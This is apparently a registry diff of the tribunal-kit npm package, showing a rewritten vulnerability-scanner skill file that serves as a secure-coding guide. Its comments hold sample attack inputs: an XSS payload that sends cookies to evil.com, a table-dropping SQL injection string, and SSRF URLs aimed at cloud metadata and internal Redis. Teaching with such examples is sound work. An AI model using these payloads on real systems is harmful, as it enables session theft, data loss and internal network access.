tribunal-kit 2.4.6 → 3.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.agent/agents/accessibility-reviewer.md +220 -134
- package/.agent/agents/ai-code-reviewer.md +233 -129
- package/.agent/agents/backend-specialist.md +238 -178
- package/.agent/agents/code-archaeologist.md +181 -119
- package/.agent/agents/database-architect.md +207 -164
- package/.agent/agents/debugger.md +218 -151
- package/.agent/agents/dependency-reviewer.md +136 -55
- package/.agent/agents/devops-engineer.md +238 -175
- package/.agent/agents/documentation-writer.md +221 -137
- package/.agent/agents/explorer-agent.md +180 -142
- package/.agent/agents/frontend-reviewer.md +194 -80
- package/.agent/agents/frontend-specialist.md +237 -188
- package/.agent/agents/game-developer.md +52 -184
- package/.agent/agents/logic-reviewer.md +149 -78
- package/.agent/agents/mobile-developer.md +223 -152
- package/.agent/agents/mobile-reviewer.md +195 -79
- package/.agent/agents/orchestrator.md +211 -170
- package/.agent/agents/penetration-tester.md +174 -131
- package/.agent/agents/performance-optimizer.md +203 -139
- package/.agent/agents/performance-reviewer.md +211 -108
- package/.agent/agents/product-manager.md +162 -108
- package/.agent/agents/project-planner.md +162 -142
- package/.agent/agents/qa-automation-engineer.md +242 -138
- package/.agent/agents/security-auditor.md +194 -170
- package/.agent/agents/seo-specialist.md +213 -132
- package/.agent/agents/sql-reviewer.md +194 -73
- package/.agent/agents/supervisor-agent.md +203 -156
- package/.agent/agents/test-coverage-reviewer.md +193 -81
- package/.agent/agents/type-safety-reviewer.md +208 -65
- package/.agent/scripts/__pycache__/auto_preview.cpython-311.pyc +0 -0
- package/.agent/scripts/__pycache__/bundle_analyzer.cpython-311.pyc +0 -0
- package/.agent/scripts/__pycache__/checklist.cpython-311.pyc +0 -0
- package/.agent/scripts/__pycache__/dependency_analyzer.cpython-311.pyc +0 -0
- package/.agent/scripts/__pycache__/security_scan.cpython-311.pyc +0 -0
- package/.agent/scripts/__pycache__/session_manager.cpython-311.pyc +0 -0
- package/.agent/scripts/__pycache__/skill_integrator.cpython-311.pyc +0 -0
- package/.agent/scripts/__pycache__/swarm_dispatcher.cpython-311.pyc +0 -0
- package/.agent/scripts/__pycache__/test_runner.cpython-311.pyc +0 -0
- package/.agent/scripts/__pycache__/verify_all.cpython-311.pyc +0 -0
- package/.agent/skills/agent-organizer/SKILL.md +126 -132
- package/.agent/skills/ai-prompt-injection-defense/SKILL.md +155 -66
- package/.agent/skills/api-patterns/SKILL.md +289 -257
- package/.agent/skills/api-security-auditor/SKILL.md +172 -70
- package/.agent/skills/app-builder/templates/chrome-extension/TEMPLATE.md +1 -1
- package/.agent/skills/app-builder/templates/electron-desktop/TEMPLATE.md +1 -1
- package/.agent/skills/appflow-wireframe/SKILL.md +107 -100
- package/.agent/skills/architecture/SKILL.md +331 -200
- package/.agent/skills/authentication-best-practices/SKILL.md +168 -67
- package/.agent/skills/bash-linux/SKILL.md +154 -215
- package/.agent/skills/brainstorming/SKILL.md +104 -210
- package/.agent/skills/building-native-ui/SKILL.md +169 -70
- package/.agent/skills/clean-code/SKILL.md +360 -206
- package/.agent/skills/config-validator/SKILL.md +141 -165
- package/.agent/skills/csharp-developer/SKILL.md +528 -107
- package/.agent/skills/database-design/SKILL.md +455 -275
- package/.agent/skills/deployment-procedures/SKILL.md +145 -188
- package/.agent/skills/devops-engineer/SKILL.md +332 -134
- package/.agent/skills/devops-incident-responder/SKILL.md +113 -98
- package/.agent/skills/edge-computing/SKILL.md +157 -213
- package/.agent/skills/extract-design-system/SKILL.md +129 -69
- package/.agent/skills/framer-motion-expert/SKILL.md +939 -0
- package/.agent/skills/game-design-expert/SKILL.md +105 -0
- package/.agent/skills/game-engineering-expert/SKILL.md +122 -0
- package/.agent/skills/geo-fundamentals/SKILL.md +124 -215
- package/.agent/skills/github-operations/SKILL.md +314 -354
- package/.agent/skills/gsap-expert/SKILL.md +901 -0
- package/.agent/skills/i18n-localization/SKILL.md +138 -216
- package/.agent/skills/intelligent-routing/SKILL.md +127 -139
- package/.agent/skills/llm-engineering/SKILL.md +357 -258
- package/.agent/skills/local-first/SKILL.md +154 -203
- package/.agent/skills/mcp-builder/SKILL.md +118 -224
- package/.agent/skills/nextjs-react-expert/SKILL.md +783 -203
- package/.agent/skills/nodejs-best-practices/SKILL.md +559 -280
- package/.agent/skills/observability/SKILL.md +330 -285
- package/.agent/skills/parallel-agents/SKILL.md +122 -181
- package/.agent/skills/performance-profiling/SKILL.md +254 -197
- package/.agent/skills/plan-writing/SKILL.md +118 -188
- package/.agent/skills/platform-engineer/SKILL.md +123 -135
- package/.agent/skills/playwright-best-practices/SKILL.md +157 -76
- package/.agent/skills/powershell-windows/SKILL.md +146 -230
- package/.agent/skills/python-pro/SKILL.md +879 -114
- package/.agent/skills/react-specialist/SKILL.md +931 -108
- package/.agent/skills/realtime-patterns/SKILL.md +304 -296
- package/.agent/skills/rust-pro/SKILL.md +701 -240
- package/.agent/skills/seo-fundamentals/SKILL.md +154 -181
- package/.agent/skills/server-management/SKILL.md +190 -212
- package/.agent/skills/shadcn-ui-expert/SKILL.md +201 -68
- package/.agent/skills/sql-pro/SKILL.md +633 -104
- package/.agent/skills/swiftui-expert/SKILL.md +171 -70
- package/.agent/skills/systematic-debugging/SKILL.md +118 -186
- package/.agent/skills/tailwind-patterns/SKILL.md +576 -232
- package/.agent/skills/tdd-workflow/SKILL.md +137 -209
- package/.agent/skills/testing-patterns/SKILL.md +573 -205
- package/.agent/skills/vue-expert/SKILL.md +964 -119
- package/.agent/skills/vulnerability-scanner/SKILL.md +269 -316
- package/.agent/skills/web-accessibility-auditor/SKILL.md +188 -71
- package/.agent/skills/webapp-testing/SKILL.md +145 -236
- package/.agent/workflows/api-tester.md +151 -279
- package/.agent/workflows/audit.md +138 -168
- package/.agent/workflows/brainstorm.md +110 -146
- package/.agent/workflows/changelog.md +112 -144
- package/.agent/workflows/create.md +124 -139
- package/.agent/workflows/debug.md +189 -196
- package/.agent/workflows/deploy.md +189 -153
- package/.agent/workflows/enhance.md +151 -139
- package/.agent/workflows/fix.md +135 -143
- package/.agent/workflows/generate.md +157 -164
- package/.agent/workflows/migrate.md +160 -163
- package/.agent/workflows/orchestrate.md +168 -151
- package/.agent/workflows/performance-benchmarker.md +123 -305
- package/.agent/workflows/plan.md +173 -151
- package/.agent/workflows/preview.md +80 -137
- package/.agent/workflows/refactor.md +183 -153
- package/.agent/workflows/review-ai.md +129 -140
- package/.agent/workflows/review.md +116 -155
- package/.agent/workflows/session.md +94 -154
- package/.agent/workflows/status.md +79 -125
- package/.agent/workflows/strengthen-skills.md +139 -99
- package/.agent/workflows/swarm.md +179 -194
- package/.agent/workflows/test.md +211 -166
- package/.agent/workflows/tribunal-backend.md +113 -111
- package/.agent/workflows/tribunal-database.md +115 -132
- package/.agent/workflows/tribunal-frontend.md +118 -115
- package/.agent/workflows/tribunal-full.md +133 -136
- package/.agent/workflows/tribunal-mobile.md +119 -123
- package/.agent/workflows/tribunal-performance.md +133 -152
- package/.agent/workflows/ui-ux-pro-max.md +143 -171
- package/README.md +11 -15
- package/package.json +1 -1
- package/.agent/skills/dotnet-core-expert/SKILL.md +0 -103
- package/.agent/skills/framer-motion-animations/SKILL.md +0 -74
- package/.agent/skills/game-development/2d-games/SKILL.md +0 -119
- package/.agent/skills/game-development/3d-games/SKILL.md +0 -135
- package/.agent/skills/game-development/SKILL.md +0 -236
- package/.agent/skills/game-development/game-art/SKILL.md +0 -185
- package/.agent/skills/game-development/game-audio/SKILL.md +0 -190
- package/.agent/skills/game-development/game-design/SKILL.md +0 -129
- package/.agent/skills/game-development/mobile-games/SKILL.md +0 -108
- package/.agent/skills/game-development/multiplayer/SKILL.md +0 -132
- package/.agent/skills/game-development/pc-games/SKILL.md +0 -144
- package/.agent/skills/game-development/vr-ar/SKILL.md +0 -123
- package/.agent/skills/game-development/web-games/SKILL.md +0 -150
|
@@ -1,316 +1,269 @@
|
|
|
1
|
-
---
|
|
2
|
-
name: vulnerability-scanner
|
|
3
|
-
description:
|
|
4
|
-
allowed-tools: Read, Write, Edit, Glob, Grep
|
|
5
|
-
version:
|
|
6
|
-
last-updated: 2026-
|
|
7
|
-
applies-to-model: gemini-2.5-pro, claude-3-7-sonnet
|
|
8
|
-
---
|
|
9
|
-
|
|
10
|
-
# Vulnerability Analysis
|
|
11
|
-
|
|
12
|
-
>
|
|
13
|
-
>
|
|
14
|
-
|
|
15
|
-
---
|
|
16
|
-
|
|
17
|
-
##
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
//
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
//
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
```
|
|
104
|
-
|
|
105
|
-
---
|
|
106
|
-
|
|
107
|
-
##
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
```
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
---
|
|
251
|
-
|
|
252
|
-
## 🏛️ Tribunal Integration
|
|
253
|
-
|
|
254
|
-
**Slash command: `/
|
|
255
|
-
|
|
256
|
-
|
|
257
|
-
|
|
258
|
-
|
|
259
|
-
|
|
260
|
-
|
|
261
|
-
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
✅ Are all untrusted inputs validated (e.g., via Zod/Joi) and sanitized before use?
|
|
271
|
-
✅ Did I verify that Authorization checks occur BEFORE any business logic accesses data?
|
|
272
|
-
✅ Are secrets and API keys safely confined to server environments?
|
|
273
|
-
✅ Is the API protected against unrestricted resource consumption (Rate Limiting)?
|
|
274
|
-
```
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
---
|
|
278
|
-
|
|
279
|
-
## 🤖 LLM-Specific Traps
|
|
280
|
-
|
|
281
|
-
AI coding assistants often fall into specific bad habits when dealing with this domain. These are strictly forbidden:
|
|
282
|
-
|
|
283
|
-
1. **Over-engineering:** Proposing complex abstractions or distributed systems when a simpler approach suffices.
|
|
284
|
-
2. **Hallucinated Libraries/Methods:** Using non-existent methods or packages. Always `// VERIFY` or check `package.json` / `requirements.txt`.
|
|
285
|
-
3. **Skipping Edge Cases:** Writing the "happy path" and ignoring error handling, timeouts, or data validation.
|
|
286
|
-
4. **Context Amnesia:** Forgetting the user's constraints and offering generic advice instead of tailored solutions.
|
|
287
|
-
5. **Silent Degradation:** Catching and suppressing errors without logging or re-raising.
|
|
288
|
-
|
|
289
|
-
---
|
|
290
|
-
|
|
291
|
-
## 🏛️ Tribunal Integration (Anti-Hallucination)
|
|
292
|
-
|
|
293
|
-
**Slash command: `/review` or `/tribunal-full`**
|
|
294
|
-
**Active reviewers: `logic-reviewer` · `security-auditor`**
|
|
295
|
-
|
|
296
|
-
### ❌ Forbidden AI Tropes
|
|
297
|
-
|
|
298
|
-
1. **Blind Assumptions:** Never make an assumption without documenting it clearly with `// VERIFY: [reason]`.
|
|
299
|
-
2. **Silent Degradation:** Catching and suppressing errors without logging or handling.
|
|
300
|
-
3. **Context Amnesia:** Forgetting the user's constraints and offering generic advice instead of tailored solutions.
|
|
301
|
-
|
|
302
|
-
### ✅ Pre-Flight Self-Audit
|
|
303
|
-
|
|
304
|
-
Review these questions before confirming output:
|
|
305
|
-
```
|
|
306
|
-
✅ Did I rely ONLY on real, verified tools and methods?
|
|
307
|
-
✅ Is this solution appropriately scoped to the user's constraints?
|
|
308
|
-
✅ Did I handle potential failure modes and edge cases?
|
|
309
|
-
✅ Have I avoided generic boilerplate that doesn't add value?
|
|
310
|
-
```
|
|
311
|
-
|
|
312
|
-
### 🛑 Verification-Before-Completion (VBC) Protocol
|
|
313
|
-
|
|
314
|
-
**CRITICAL:** You must follow a strict "evidence-based closeout" state machine.
|
|
315
|
-
- ❌ **Forbidden:** Declaring a task complete because the output "looks correct."
|
|
316
|
-
- ✅ **Required:** You are explicitly forbidden from finalizing any task without providing **concrete evidence** (terminal output, passing tests, compile success, or equivalent proof) that your output works as intended.
|
|
1
|
+
---
|
|
2
|
+
name: vulnerability-scanner
|
|
3
|
+
description: Security vulnerability analysis mastery. OWASP Top 10 (2025), injection attacks (SQL, XSS, SSRF, command), authentication/authorization flaws, dependency vulnerabilities, secret scanning, CORS misconfiguration, supply chain attacks, and security headers. Use when auditing security, reviewing code for vulnerabilities, or hardening applications.
|
|
4
|
+
allowed-tools: Read, Write, Edit, Glob, Grep
|
|
5
|
+
version: 2.0.0
|
|
6
|
+
last-updated: 2026-04-01
|
|
7
|
+
applies-to-model: gemini-2.5-pro, claude-3-7-sonnet
|
|
8
|
+
---
|
|
9
|
+
|
|
10
|
+
# Vulnerability Scanner — Security Analysis Mastery
|
|
11
|
+
|
|
12
|
+
> Every input is hostile. Every dependency is a liability. Every secret is one commit from exposure.
|
|
13
|
+
> Security is not a feature — it's a constraint on every line of code you write.
|
|
14
|
+
|
|
15
|
+
---
|
|
16
|
+
|
|
17
|
+
## OWASP Top 10 (2025)
|
|
18
|
+
|
|
19
|
+
```
|
|
20
|
+
A01 Broken Access Control → Missing authorization checks
|
|
21
|
+
A02 Cryptographic Failures → Weak encryption, exposed secrets
|
|
22
|
+
A03 Injection → SQL, XSS, command, LDAP
|
|
23
|
+
A04 Insecure Design → Missing threat modeling
|
|
24
|
+
A05 Security Misconfiguration → Default credentials, verbose errors
|
|
25
|
+
A06 Vulnerable Components → Outdated dependencies
|
|
26
|
+
A07 Authentication Failures → Weak passwords, missing MFA
|
|
27
|
+
A08 Data Integrity Failures → Untrusted deserialization, missing SRI
|
|
28
|
+
A09 Logging & Monitoring Failures → No audit trail, alert blindness
|
|
29
|
+
A10 SSRF → Server-side request forgery
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
---
|
|
33
|
+
|
|
34
|
+
## Injection Attacks
|
|
35
|
+
|
|
36
|
+
### SQL Injection
|
|
37
|
+
|
|
38
|
+
```typescript
|
|
39
|
+
// ❌ VULNERABLE: String interpolation in SQL
|
|
40
|
+
const query = `SELECT * FROM users WHERE email = '${email}'`;
|
|
41
|
+
// Attack: email = "'; DROP TABLE users; --"
|
|
42
|
+
|
|
43
|
+
// ✅ SAFE: Parameterized queries
|
|
44
|
+
const result = await db.query("SELECT * FROM users WHERE email = $1", [email]);
|
|
45
|
+
|
|
46
|
+
// ✅ SAFE: ORM (Prisma, Drizzle)
|
|
47
|
+
const user = await prisma.user.findUnique({ where: { email } });
|
|
48
|
+
|
|
49
|
+
// ❌ HALLUCINATION TRAP: Template literals are NOT parameterized
|
|
50
|
+
// ❌ db.query(`SELECT * FROM users WHERE id = ${id}`); ← VULNERABLE
|
|
51
|
+
// ✅ db.query("SELECT * FROM users WHERE id = $1", [id]); ← SAFE
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
### XSS (Cross-Site Scripting)
|
|
55
|
+
|
|
56
|
+
```typescript
|
|
57
|
+
// ❌ VULNERABLE: innerHTML with user input
|
|
58
|
+
element.innerHTML = userComment;
|
|
59
|
+
// Attack: userComment = "<script>document.location='https://evil.com?c='+document.cookie</script>"
|
|
60
|
+
|
|
61
|
+
// ✅ SAFE: textContent (no HTML parsing)
|
|
62
|
+
element.textContent = userComment;
|
|
63
|
+
|
|
64
|
+
// React auto-escapes by default — BUT:
|
|
65
|
+
// ❌ VULNERABLE in React:
|
|
66
|
+
<div dangerouslySetInnerHTML={{ __html: userInput }} /> // bypasses escaping
|
|
67
|
+
|
|
68
|
+
// ✅ SAFE in React:
|
|
69
|
+
<div>{userInput}</div> // auto-escaped
|
|
70
|
+
|
|
71
|
+
// Content Security Policy (defense in depth)
|
|
72
|
+
// Add HTTP header:
|
|
73
|
+
// Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
### SSRF (Server-Side Request Forgery)
|
|
77
|
+
|
|
78
|
+
```typescript
|
|
79
|
+
// ❌ VULNERABLE: fetching user-provided URLs
|
|
80
|
+
app.get("/proxy", async (req, res) => {
|
|
81
|
+
const data = await fetch(req.query.url).then(r => r.text());
|
|
82
|
+
res.send(data);
|
|
83
|
+
});
|
|
84
|
+
// Attack: url = "http://169.254.169.254/latest/meta-data/" (AWS metadata)
|
|
85
|
+
// Attack: url = "http://localhost:6379/" (internal Redis)
|
|
86
|
+
|
|
87
|
+
// ✅ SAFE: Allowlist of domains
|
|
88
|
+
const ALLOWED_HOSTS = new Set(["api.example.com", "cdn.example.com"]);
|
|
89
|
+
|
|
90
|
+
app.get("/proxy", async (req, res) => {
|
|
91
|
+
const url = new URL(req.query.url as string);
|
|
92
|
+
if (!ALLOWED_HOSTS.has(url.hostname)) {
|
|
93
|
+
return res.status(403).json({ error: "Domain not allowed" });
|
|
94
|
+
}
|
|
95
|
+
// Additional: block private IP ranges
|
|
96
|
+
const ip = await dns.resolve4(url.hostname);
|
|
97
|
+
if (isPrivateIP(ip[0])) {
|
|
98
|
+
return res.status(403).json({ error: "Private IP not allowed" });
|
|
99
|
+
}
|
|
100
|
+
const data = await fetch(url).then(r => r.text());
|
|
101
|
+
res.send(data);
|
|
102
|
+
});
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
---
|
|
106
|
+
|
|
107
|
+
## Authentication & Authorization
|
|
108
|
+
|
|
109
|
+
```typescript
|
|
110
|
+
// JWT Best Practices
|
|
111
|
+
import jwt from "jsonwebtoken";
|
|
112
|
+
|
|
113
|
+
// ✅ SAFE: Specify algorithm explicitly
|
|
114
|
+
const token = jwt.sign(payload, SECRET, {
|
|
115
|
+
algorithm: "HS256", // explicit
|
|
116
|
+
expiresIn: "15m", // short-lived access token
|
|
117
|
+
issuer: "myapp",
|
|
118
|
+
});
|
|
119
|
+
|
|
120
|
+
// ✅ SAFE: Verify with explicit algorithms
|
|
121
|
+
const decoded = jwt.verify(token, SECRET, {
|
|
122
|
+
algorithms: ["HS256"], // MUST specify — prevents algorithm confusion attack
|
|
123
|
+
issuer: "myapp",
|
|
124
|
+
});
|
|
125
|
+
|
|
126
|
+
// ❌ HALLUCINATION TRAP: jwt.verify() without algorithms option is VULNERABLE
|
|
127
|
+
// ❌ jwt.verify(token, SECRET); ← accepts ANY algorithm including "none"
|
|
128
|
+
// ✅ jwt.verify(token, SECRET, { algorithms: ["HS256"] });
|
|
129
|
+
|
|
130
|
+
// Authorization: check BEFORE business logic
|
|
131
|
+
app.delete("/api/posts/:id", async (req, res) => {
|
|
132
|
+
const post = await getPost(req.params.id);
|
|
133
|
+
if (!post) return res.status(404).json({ error: "Not found" });
|
|
134
|
+
|
|
135
|
+
// ✅ Authorization check BEFORE delete
|
|
136
|
+
if (post.authorId !== req.user.id && req.user.role !== "admin") {
|
|
137
|
+
return res.status(403).json({ error: "Forbidden" });
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
await deletePost(post.id);
|
|
141
|
+
res.status(204).send();
|
|
142
|
+
});
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
---
|
|
146
|
+
|
|
147
|
+
## Dependency Security
|
|
148
|
+
|
|
149
|
+
```bash
|
|
150
|
+
# Check for known vulnerabilities
|
|
151
|
+
npm audit # built-in
|
|
152
|
+
npx snyk test # Snyk (more comprehensive)
|
|
153
|
+
npx socket check # Socket.dev (supply chain)
|
|
154
|
+
|
|
155
|
+
# Auto-fix
|
|
156
|
+
npm audit fix
|
|
157
|
+
|
|
158
|
+
# lock file integrity
|
|
159
|
+
# ✅ Commit package-lock.json / pnpm-lock.yaml
|
|
160
|
+
# ✅ Use npm ci in CI (not npm install)
|
|
161
|
+
# ✅ Pin exact versions for critical dependencies
|
|
162
|
+
# ✅ Enable Dependabot or Renovate for auto-updates
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
```
|
|
166
|
+
Supply chain attack vectors:
|
|
167
|
+
1. Typosquatting → "recat" instead of "react"
|
|
168
|
+
2. Maintainer hijack → compromised npm account
|
|
169
|
+
3. Dependency confusion → private package name exists on public registry
|
|
170
|
+
4. Malicious postinstall → runs arbitrary code on npm install
|
|
171
|
+
5. Abandoned packages → unmaintained, no security patches
|
|
172
|
+
|
|
173
|
+
Defense:
|
|
174
|
+
- Review new dependencies before adding
|
|
175
|
+
- Use npm audit in CI (fail on high severity)
|
|
176
|
+
- Pin versions, review lockfile diffs
|
|
177
|
+
- Use --ignore-scripts for untrusted packages
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
---
|
|
181
|
+
|
|
182
|
+
## Security Headers
|
|
183
|
+
|
|
184
|
+
```typescript
|
|
185
|
+
import helmet from "helmet";
|
|
186
|
+
|
|
187
|
+
app.use(helmet()); // Sets secure defaults
|
|
188
|
+
|
|
189
|
+
// Key headers set by helmet:
|
|
190
|
+
// Content-Security-Policy → Controls resource loading
|
|
191
|
+
// X-Content-Type-Options → Prevents MIME sniffing (nosniff)
|
|
192
|
+
// X-Frame-Options → Prevents clickjacking (DENY)
|
|
193
|
+
// Strict-Transport-Security → Forces HTTPS (HSTS)
|
|
194
|
+
// X-XSS-Protection → Legacy XSS filter (deprecated, CSP is better)
|
|
195
|
+
// Referrer-Policy → Controls referrer header
|
|
196
|
+
|
|
197
|
+
// CORS — never wildcard in production
|
|
198
|
+
app.use(cors({
|
|
199
|
+
origin: ["https://myapp.com", "https://admin.myapp.com"],
|
|
200
|
+
methods: ["GET", "POST", "PUT", "DELETE"],
|
|
201
|
+
credentials: true,
|
|
202
|
+
}));
|
|
203
|
+
|
|
204
|
+
// ❌ HALLUCINATION TRAP: origin: "*" disables CORS protection entirely
|
|
205
|
+
// ❌ cors({ origin: "*" }) ← allows any website to call your API
|
|
206
|
+
// ✅ cors({ origin: ["https://myapp.com"] }) ← whitelist specific domains
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
---
|
|
210
|
+
|
|
211
|
+
## Secret Scanning
|
|
212
|
+
|
|
213
|
+
```
|
|
214
|
+
Secrets that MUST be in environment variables:
|
|
215
|
+
- Database connection strings
|
|
216
|
+
- API keys (Stripe, SendGrid, etc.)
|
|
217
|
+
- JWT signing secrets
|
|
218
|
+
- OAuth client secrets
|
|
219
|
+
- Encryption keys
|
|
220
|
+
|
|
221
|
+
Detection tools:
|
|
222
|
+
- git-secrets (pre-commit hook)
|
|
223
|
+
- TruffleHog / detect-secrets (scan history)
|
|
224
|
+
- GitHub secret scanning (automatic)
|
|
225
|
+
- GitGuardian (enterprise)
|
|
226
|
+
|
|
227
|
+
If a secret is committed:
|
|
228
|
+
1. IMMEDIATELY rotate the secret (new key/password)
|
|
229
|
+
2. Remove from git history (BFG Repo-Cleaner or git-filter-repo)
|
|
230
|
+
3. Force-push cleaned history
|
|
231
|
+
4. Audit access logs for the compromised secret
|
|
232
|
+
5. Post-incident review
|
|
233
|
+
```
|
|
234
|
+
|
|
235
|
+
---
|
|
236
|
+
|
|
237
|
+
## 🤖 LLM-Specific Traps
|
|
238
|
+
|
|
239
|
+
1. **Template Literals for SQL:** `\`SELECT * FROM users WHERE id = ${id}\`` is SQL injection. Use parameterized queries.
|
|
240
|
+
2. **`dangerouslySetInnerHTML` Without Sanitization:** React's escape valve for XSS. Never use with user input.
|
|
241
|
+
3. **`jwt.verify()` Without `algorithms`:** Without specifying algorithms, JWT accepts "none" — bypasses all verification.
|
|
242
|
+
4. **CORS `origin: "*"`:** Wildcard CORS disables protection. Always allowlist specific domains.
|
|
243
|
+
5. **Authorization After Business Logic:** Check permissions BEFORE executing the action, not after.
|
|
244
|
+
6. **`npm install` in CI:** Use `npm ci` for deterministic, lockfile-based installs. `npm install` can change lockfile.
|
|
245
|
+
7. **Hardcoded Secrets in Source:** Secrets in code are in git history forever. Use environment variables.
|
|
246
|
+
8. **SSRF Via User URLs:** Never fetch user-provided URLs without domain allowlisting and private IP blocking.
|
|
247
|
+
9. **Missing Rate Limiting on Auth:** Login endpoints without rate limiting enable brute-force attacks.
|
|
248
|
+
10. **Verbose Error Messages in Production:** Stack traces in API responses expose internal implementation details.
|
|
249
|
+
|
|
250
|
+
---
|
|
251
|
+
|
|
252
|
+
## 🏛️ Tribunal Integration
|
|
253
|
+
|
|
254
|
+
**Slash command: `/tribunal-backend` or `/audit`**
|
|
255
|
+
|
|
256
|
+
### ✅ Pre-Flight Self-Audit
|
|
257
|
+
|
|
258
|
+
```
|
|
259
|
+
✅ Are all SQL queries parameterized (no string interpolation)?
|
|
260
|
+
✅ Is user input sanitized before rendering (no innerHTML)?
|
|
261
|
+
✅ Does JWT verify specify algorithms explicitly?
|
|
262
|
+
✅ Is CORS configured with specific origins (not wildcard)?
|
|
263
|
+
✅ Are authorization checks BEFORE business logic?
|
|
264
|
+
✅ Are all secrets in environment variables (not source code)?
|
|
265
|
+
✅ Is `npm ci` used in CI (not `npm install`)?
|
|
266
|
+
✅ Are security headers configured (helmet)?
|
|
267
|
+
✅ Is rate limiting enabled on auth endpoints?
|
|
268
|
+
✅ Are error messages generic in production (no stack traces)?
|
|
269
|
+
```
|